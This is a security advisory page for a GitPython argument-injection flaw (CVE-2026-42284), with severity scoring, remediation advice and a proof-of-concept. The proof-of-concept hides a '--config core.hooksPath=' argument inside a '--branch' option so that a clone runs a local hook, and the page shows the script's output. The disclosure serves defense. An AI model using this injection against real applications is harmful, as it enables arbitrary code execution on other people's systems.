VulnerabilityPublished 7 May 2026Updated 9 May 2026

CVE-2026-42284: GitPython · Argument Injection

Affects GitPythonSource CVE Database V5

Compare

Mentioned vulnerabilities

CVE-2023-40267

Not known to be exploited · CVSS 8.1 High : upgrade to 3.1.47 soon.

Data as of 29 Oct 2026, 19:04 UTC

CVSS 3.1 base score

8.1High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.5% chance of exploitation in 30 days – higher than 47% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 3.1.47

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: High
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: High: A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. For example, a successful attack may require an attacker to: gather knowledge about the environment in which the vulnerable target/component exists; prepare the target environment to improve exploit reliability; or inject themselves into the logical network path between the target and the resource requested by the victim in order to read and/or modify network communications (e.g., a man in the middle attack).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 7 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade GitPython and gitpython to 3.1.47.

Affected software

Product	Affected	Fixed in
gitpython-developersGitPython	Affected <3.1.47	Fixed in 3.1.47
PyPIgitpython`pkg:pypi/gitpython`Other threats	Affected <3.1.47	Fixed in 3.1.47

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

Upgrade GitPython to version 3.1.47 or later, where this vulnerability has been patched. There is no indication of alternative mitigations or temporary fixes. Users should verify their GitPython version and apply the official update to remediate this issue.

Description

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Impact

Successful exploitation allows an attacker to execute arbitrary Git hooks during the cloning process by injecting additional Git command arguments. This can lead to full compromise of the environment running the clone operation, including confidentiality, integrity, and availability impacts as indicated by the CVSS vector (C:H/I:H/A:H). No known exploits in the wild have been reported at this time.

Summary

GitPython is a Python library for interacting with Git repositories. In versions before 3.1.47, the _clone() method validates the multi_options parameter as a single string starting with certain expected prefixes. However, it then uses shlex.split on the joined string, which can split the input into multiple arguments, including unintended ones like --config core.hooksPath=/x. This allows an attacker to inject Git configuration options that cause Git to execute malicious hooks during clone operations. The vulnerability is identified as CWE-88 (Improper Neutralization of Argument Delimiters). It has a CVSS 3.1 score of 8.1, indicating high severity. The issue was patched in version 3.1.47.

CWE-88Improper Neutralization of Argument Delimiters in a Command (Argument Injection) (opens in a new tab)
Base weaknessOWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
Implementation · Parameterization
Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command.
Architecture and Design · Input Validation
Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
OWASP Cheat Sheets
Abuse Case (opens in a new tab)
Deserialization (opens in a new tab)
Injection Prevention (opens in a new tab)
SQL Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OWASP ASVS 4.0.3
V1.5.1 (opens in a new tab)
Attack patterns
Flash Parameter Injection (opens in a new tab)
Using Meta-characters in E-mail Headers to Inject Malicious Payloads (opens in a new tab)
HTTP Parameter Pollution (HPP) (opens in a new tab)
OS Command Injection (opens in a new tab)
Parameter Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 15 May 2026, 10:49 UTC

WeaknessesCWE-88

Technical details

References

Community reviews

Related threats